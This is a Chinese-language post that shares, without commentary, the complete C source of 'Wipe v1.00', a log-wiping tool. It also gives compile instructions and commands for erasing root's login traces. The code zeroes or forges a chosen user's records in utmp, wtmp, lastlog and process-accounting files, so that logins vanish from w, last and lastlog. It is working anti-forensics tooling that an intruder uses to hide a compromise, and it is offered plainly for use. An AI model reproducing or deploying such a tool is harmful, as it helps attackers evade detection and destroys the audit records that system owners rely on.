Linux下的日志擦除软件,无解释珍藏:
1gcc -O3 -DHAVE_LASTLOG_H -DNO_ACCT -o wipe wipe.c
2
3wipe u root #w 命令擦掉在线的root
4wipe w root #last 命令擦掉root
5wipe l root #lastlog 命令擦掉root登录记录
源码如下:
1/*
2 * Wipe v1.00.
3 *
4 * Written by The Crawler.
5 *
6 * Selectively wipe system logs.
7 *
8 * Usage: wipe [l,u,w] username
9 * ex: wipe l user;wipe u user;wipe w user
10 *
11 * Wipes logs on, but not including, Linux, FreeBSD, Sunos 4.x, Solaris 2.x,
12 * Ultrix, AIX, IRIX, Digital UNIX, BSDI, NetBSD, HP/UX.
13 * compile with -DHAVE_LASTLOG_H -DNO_ACCT */
14
15#include <sys/types.h>
16#include <sys/stat.h>
17#include <sys/uio.h>
18#ifndef NO_ACCT
19#include <sys/acct.h>
20#endif
21#include <utmp.h>
22#include <fcntl.h>
23#include <unistd.h>
24#include <stdio.h>
25#include <ctype.h>
26#include <string.h>
27#include <pwd.h>
28#include <time.h>
29#include <stdlib.h>
30
31#ifdef HAVE_LASTLOG_H
32#include <lastlog.h>
33#endif
34
35#ifdef HAVE_UTMPX
36#include <utmpx.h>
37#endif
38
39/*
40 * Try to use the paths out of the include files.
41 * But if we can't find any, revert to the defaults.
42 */
43#ifndef UTMP_FILE
44#ifdef _PATH_UTMP
45#define UTMP_FILE _PATH_UTMP
46#else
47#define UTMP_FILE "/var/adm/utmp"
48#endif
49#endif
50
51#ifndef WTMP_FILE
52#ifdef _PATH_WTMP
53#define WTMP_FILE _PATH_WTMP
54#else
55#define WTMP_FILE "/var/adm/wtmp"
56#endif
57#endif
58
59#ifndef LASTLOG_FILE
60#ifdef _PATH_LASTLOG
61#define LASTLOG_FILE _PATH_LASTLOG
62#else
63#define LASTLOG_FILE "/var/adm/lastlog"
64#endif
65#endif
66
67#ifndef ACCT_FILE
68#define ACCT_FILE "/var/adm/pacct"
69#endif
70
71#ifdef HAVE_UTMPX
72
73#ifndef UTMPX_FILE
74#define UTMPX_FILE "/var/adm/utmpx"
75#endif
76
77#ifndef WTMPX_FILE
78#define WTMPX_FILE "/var/adm/wtmpx"
79#endif
80
81#endif /* HAVE_UTMPX */
82
83#define BUFFSIZE 8192
84
85
86/*
87 * This function will copy the src file to the dst file.
88 */
89void
90copy_file(char *src, char *dst)
91{
92 int fd1, fd2;
93 int n;
94 char buf[BUFFSIZE];
95
96 if ( (fd1 = open(src, O_RDONLY)) < 0 ) {
97 fprintf(stderr, "ERROR: Opening %s during copy.\n", src);
98 return;
99 }
100
101 if ( (fd2 = open(dst, O_WRONLY | O_CREAT | O_TRUNC)) < 0 ) {
102 fprintf(stderr, "ERROR: Creating %s during copy.\n", dst);
103 return;
104 }
105
106 while ( (n = read(fd1, buf, BUFFSIZE)) > 0)
107 if (write(fd2, buf, n) != n) {
108 fprintf(stderr, "ERROR: Write error during copy.\n");
109 return;
110 }
111
112 if (n < 0) {
113 fprintf(stderr, "ERROR: Read error during copy.\n");
114 return;
115 }
116
117 close(fd1);
118 close(fd2);
119}
120
121
122/*
123 * UTMP editing.
124 */
125void
126wipe_utmp(char *who, char *line)
127{
128 int fd1;
129 struct utmp ut;
130
131 printf("Patching %s .... ", UTMP_FILE);
132 fflush(stdout);
133
134 /*
135 * Open the utmp file.
136 */
137 if ( (fd1 = open(UTMP_FILE, O_RDWR)) < 0 ) {
138 fprintf(stderr, "ERROR: Opening %s\n", UTMP_FILE);
139 return;
140 }
141
142 /*
143 * Copy utmp file excluding relevent entries.
144 */
145 while ( read(fd1, &ut, sizeof(ut)) > 0)
146 if ( !strncmp(ut.ut_name, who, strlen(who)) )
147 if (!line || (line &&
148 !strncmp(ut.ut_line, line, strlen(line)))) {
149 bzero((char *) &ut, sizeof(ut));
150 lseek(fd1, (int) -sizeof(ut), SEEK_CUR);
151 write(fd1, &ut, sizeof(ut));
152 }
153
154 close(fd1);
155
156 printf("Done.\n");
157}
158
159/*
160 * UTMPX editing if supported.
161 */
162#ifdef HAVE_UTMPX
163void
164wipe_utmpx(char *who, char *line)
165{
166 int fd1;
167 struct utmpx utx;
168
169 printf("Patching %s .... ", UTMPX_FILE);
170 fflush(stdout);
171
172 /*
173 * Open the utmp file and temporary file.
174 */
175 if ( (fd1 = open(UTMPX_FILE, O_RDWR)) < 0 ) {
176 fprintf(stderr, "ERROR: Opening %s\n", UTMPX_FILE);
177 return;
178 }
179
180 while ( (read(fd1, &utx, sizeof(utx)) ) > 0)
181 if ( !strncmp(utx.ut_name, who, strlen(who)) )
182 if (!line || (line &&
183 !strncmp(utx.ut_line, line, strlen(line)))) {
184 bzero((char *) &utx, sizeof(utx));
185 lseek(fd1, (int) -sizeof(utx), SEEK_CUR);
186 write(fd1, &utx, sizeof(utx));
187 }
188
189 close(fd1);
190
191 printf("Done.\n");
192}
193#endif
194
195
196/*
197 * WTMP editing.
198 */
199void
200wipe_wtmp(char *who, char *line)
201{
202 int fd1;
203 struct utmp ut;
204
205 printf("Patching %s .... ", WTMP_FILE);
206 fflush(stdout);
207
208 /*
209 * Open the wtmp file and temporary file.
210 */
211 if ( (fd1 = open(WTMP_FILE, O_RDWR)) < 0 ) {
212 fprintf(stderr, "ERROR: Opening %s\n", WTMP_FILE);
213 return;
214 }
215
216 /*
217 * Determine offset of last relevent entry.
218 */
219 lseek(fd1, (long) -(sizeof(ut)), SEEK_END);
220 while ( (read (fd1, &ut, sizeof(ut))) > 0) {
221 if (!strncmp(ut.ut_name, who, strlen(who)))
222 if (!line || (line &&
223 !strncmp(ut.ut_line, line, strlen(line)))) {
224 bzero((char *) &ut, sizeof(ut));
225 lseek(fd1, (long) -(sizeof(ut)), SEEK_CUR);
226 write(fd1, &ut, sizeof(ut));
227 break;
228 }
229 lseek(fd1, (long) -(sizeof(ut) * 2), SEEK_CUR);
230 }
231
232 close(fd1);
233
234 printf("Done.\n");
235}
236
237
238/*
239 * WTMPX editing if supported.
240 */
241#ifdef HAVE_UTMPX
242void
243wipe_wtmpx(char *who, char *line)
244{
245 int fd1;
246 struct utmpx utx;
247
248 printf("Patching %s .... ", WTMPX_FILE);
249 fflush(stdout);
250
251 /*
252 * Open the utmp file and temporary file.
253 */
254 if ( (fd1 = open(WTMPX_FILE, O_RDWR)) < 0 ) {
255 fprintf(stderr, "ERROR: Opening %s\n", WTMPX_FILE);
256 return;
257 }
258
259 /*
260 * Determine offset of last relevent entry.
261 */
262 lseek(fd1, (long) -(sizeof(utx)), SEEK_END);
263 while ( (read (fd1, &utx, sizeof(utx))) > 0) {
264 if (!strncmp(utx.ut_name, who, strlen(who)))
265 if (!line || (line &&
266 !strncmp(utx.ut_line, line, strlen(line)))) {
267 bzero((char *) &utx, sizeof(utx));
268 lseek(fd1, (long) -(sizeof(utx)), SEEK_CUR);
269 write(fd1, &utx, sizeof(utx));
270 break;
271 }
272 lseek(fd1, (int) -(sizeof(utx) * 2), SEEK_CUR);
273 }
274
275 close(fd1);
276
277 printf("Done.\n");
278}
279#endif
280
281
282/*
283 * LASTLOG editing.
284 */
285void
286wipe_lastlog(char *who, char *line, char *timestr, char *host)
287{
288 int fd1;
289 struct lastlog ll;
290 struct passwd *pwd;
291 struct tm *tm;
292 char str[4];
293
294 printf("Patching %s .... ", LASTLOG_FILE);
295 fflush(stdout);
296
297 tm = (struct tm *) malloc( sizeof(struct tm) );
298
299 /*
300 * Open the lastlog file.
301 */
302 if ( (fd1 = open(LASTLOG_FILE, O_RDWR)) < 0 ) {
303 fprintf(stderr, "ERROR: Opening %s\n", LASTLOG_FILE);
304 return;
305 }
306
307 if ( (pwd = getpwnam(who)) == NULL) {
308 fprintf(stderr, "ERROR: Can't find user in passwd.\n");
309 return;
310 }
311
312 lseek(fd1, (long) pwd->pw_uid * sizeof(struct lastlog), 0);
313 bzero((char *) &ll, sizeof(ll));
314
315 if (line)
316 strncpy(ll.ll_line, line, strlen(line));
317
318 if (timestr) {
319 /* YYMMddhhmm */
320 if (strlen(timestr) != 10) {
321 fprintf(stderr, "ERROR: Time format is YYMMddhhmm.\n");
322 return;
323 }
324
325 /*
326 * Extract Times.
327 */
328 str[2] = 0;
329 str[0] = timestr[0];
330 str[1] = timestr[1];
331 tm->tm_year = atoi(str);
332
333 str[0] = timestr[2];
334 str[1] = timestr[3];
335 tm->tm_mon = atoi(str) - 1;
336
337 str[0] = timestr[4];
338 str[1] = timestr[5];
339 tm->tm_mday = atoi(str);
340
341 str[0] = timestr[6];
342 str[1] = timestr[7];
343 tm->tm_hour = atoi(str);
344
345 str[0] = timestr[8];
346 str[1] = timestr[9];
347 tm->tm_min = atoi(str);
348 tm->tm_sec = 0;
349
350 ll.ll_time = mktime(tm);
351 }
352
353 if (host)
354 strncpy(ll.ll_host, host, sizeof(ll.ll_host));
355
356
357 write(fd1, (char *) &ll, sizeof(ll));
358
359 close(fd1);
360
361 printf("Done.\n");
362}
363
364
365#ifndef NO_ACCT
366/*
367 * ACCOUNT editing.
368 */
369void
370wipe_acct(char *who, char *line)
371{
372 int fd1, fd2;
373 struct acct ac;
374 char ttyn[50];
375 struct passwd *pwd;
376 struct stat sbuf;
377 char *tmpf;
378
379 printf("Patching %s .... ", ACCT_FILE);
380 fflush(stdout);
381
382 /*
383 * Open the acct file and temporary file.
384 */
385 if ( (fd1 = open(ACCT_FILE, O_RDONLY)) < 0 ) {
386 fprintf(stderr, "ERROR: Opening %s\n", ACCT_FILE);
387 return;
388 }
389
390 /*
391 * Grab a unique temporary filename.
392 */
393 tmpf = tmpnam((char *) NULL);
394
395 if ( (fd2 = open(tmpf, O_WRONLY | O_CREAT | O_TRUNC, 600)) < 0 ) {
396 fprintf(stderr, "ERROR: Opening tmp ACCT file\n");
397 return;
398 }
399
400 if ( (pwd = getpwnam(who)) == NULL) {
401 fprintf(stderr, "ERROR: Can't find user in passwd.\n");
402 return;
403 }
404
405 /*
406 * Determine tty's device number
407 */
408 strcpy(ttyn, "/dev/");
409 strcat(ttyn, line);
410 if (stat(ttyn, &sbuf) < 0) {
411 fprintf(stderr, "ERROR: Determining tty device number.\n");
412 return;
413 }
414
415 while ( read(fd1, &ac, sizeof(ac)) > 0 ) {
416 if ( !(ac.ac_uid == pwd->pw_uid && ac.ac_tty == sbuf.st_rdev) )
417 write(fd2, &ac, sizeof(ac));
418 }
419
420 close(fd1);
421 close(fd2);
422
423 copy_file(tmpf, ACCT_FILE);
424
425 if ( unlink(tmpf) < 0 ) {
426 fprintf(stderr, "ERROR: Unlinking tmp WTMP file.\n");
427 return;
428 }
429
430 printf("Done.\n");
431}
432#endif
433
434
435void
436usage()
437{
438 printf("USAGE: wipe [ u|w|l|a ] ...options...\n");
439 printf("\n");
440 printf("UTMP editing:\n");
441 printf(" Erase all usernames : wipe u [username]\n");
442 printf(" Erase one username on tty: wipe u [username] [tty]\n");
443 printf("\n");
444 printf("WTMP editing:\n");
445 printf(" Erase last entry for user : wipe w [username]\n");
446 printf(" Erase last entry on tty : wipe w [username] [tty]\n");
447 printf("\n");
448 printf("LASTLOG editing:\n");
449 printf(" Blank lastlog for user : wipe l [username]\n");
450 printf(" Alter lastlog entry : wipe l [username] [tty] [time] [host]\n");
451 printf(" Where [time] is in the format [YYMMddhhmm]\n");
452 printf("\n");
453#ifndef NO_ACCT
454 printf("ACCT editing:\n");
455 printf(" Erase acct entries on tty : wipe a [username] [tty]\n");
456#endif
457 exit(1);
458}
459
460
461int
462main(int argc, char *argv[])
463{
464 char c;
465
466 if (argc < 3)
467 usage();
468
469 /*
470 * First character of first argument determines which file to edit.
471 */
472 c = toupper(argv[1][0]);
473
474 /*
475 * UTMP editing.
476 */
477 switch (c) {
478 /* UTMP */
479 case 'U' :
480 if (argc == 3)
481 wipe_utmp(argv[2], (char *) NULL);
482 if (argc ==4)
483 wipe_utmp(argv[2], argv[3]);
484
485#ifdef HAVE_UTMPX
486 if (argc == 3)
487 wipe_utmpx(argv[2], (char *) NULL);
488 if (argc == 4)
489 wipe_utmpx(argv[2], argv[3]);
490#endif
491
492 break;
493 /* WTMP */
494 case 'W' :
495 if (argc == 3)
496 wipe_wtmp(argv[2], (char *) NULL);
497 if (argc == 4)
498 wipe_wtmp(argv[2], argv[3]);
499
500#ifdef HAVE_UTMPX
501 if (argc == 3)
502 wipe_wtmpx(argv[2], (char *) NULL);
503 if (argc == 4)
504 wipe_wtmpx(argv[2], argv[3]);
505#endif
506
507 break;
508 /* LASTLOG */
509 case 'L' :
510 if (argc == 3)
511 wipe_lastlog(argv[2], (char *) NULL,
512 (char *) NULL, (char *) NULL);
513 if (argc == 4)
514 wipe_lastlog(argv[2], argv[3], (char *) NULL,
515 (char *) NULL);
516 if (argc == 5)
517 wipe_lastlog(argv[2], argv[3], argv[4],
518 (char *) NULL);
519 if (argc == 6)
520 wipe_lastlog(argv[2], argv[3], argv[4],
521 argv[5]);
522 break;
523#ifndef NO_ACCT
524 /* ACCT */
525 case 'A' :
526 if (argc != 4)
527 usage();
528 wipe_acct(argv[2], argv[3]);
529 break;
530#endif
531 }
532
533 return(0);
534}